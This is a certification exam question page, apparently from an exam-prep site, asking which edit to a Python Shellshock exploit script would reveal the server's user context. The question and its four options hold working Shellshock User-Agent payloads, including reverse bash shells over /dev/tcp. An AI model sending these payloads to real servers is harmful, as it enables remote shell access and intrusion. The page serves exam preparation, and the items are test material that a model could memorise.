ExamGecko
Question list
Search
Search

List of questions

Search

Related questions











Question 107 - PT0-002 discussion

Report
Export

A penetration tester discovers a vulnerable web server at 10.10.1.1. The tester then edits a Python script that sends a web exploit and comes across the following code:

exploits = {"User-Agent": "() { ignored;};/bin/bash -i>& /dev/tcp/127.0.0.1/9090 0>&1", "Accept":

"text/html,application/xhtml+xml,application/xml"}

Which of the following edits should the tester make to the script to determine the user context in which the server is being run?

A.
exploits = {"User-Agent": "() { ignored;};/bin/bash -i id;whoami", "Accept":"text/html,application/xhtml+xml,application/xml"}
Answers
A.
exploits = {"User-Agent": "() { ignored;};/bin/bash -i id;whoami", "Accept":"text/html,application/xhtml+xml,application/xml"}
B.
exploits = {"User-Agent": "() { ignored;};/bin/bash -i>& find / -perm -4000", "Accept":"text/html,application/xhtml+xml,application/xml"}
Answers
B.
exploits = {"User-Agent": "() { ignored;};/bin/bash -i>& find / -perm -4000", "Accept":"text/html,application/xhtml+xml,application/xml"}
C.
exploits = {"User-Agent": "() { ignored;};/bin/sh -i ps -ef" 0>&1", "Accept":"text/html,application/xhtml+xml,application/xml"}
Answers
C.
exploits = {"User-Agent": "() { ignored;};/bin/sh -i ps -ef" 0>&1", "Accept":"text/html,application/xhtml+xml,application/xml"}
D.
exploits = {"User-Agent": "() { ignored;};/bin/bash -i>& /dev/tcp/10.10.1.1/80" 0>&1", "Accept":"text/html,application/xhtml+xml,application/xml"}
Answers
D.
exploits = {"User-Agent": "() { ignored;};/bin/bash -i>& /dev/tcp/10.10.1.1/80" 0>&1", "Accept":"text/html,application/xhtml+xml,application/xml"}
Suggested answer: A
asked 02/10/2024
Ryan Edwards
38 questions
User
Your answer:
0 comments
Sorted by

Leave a comment first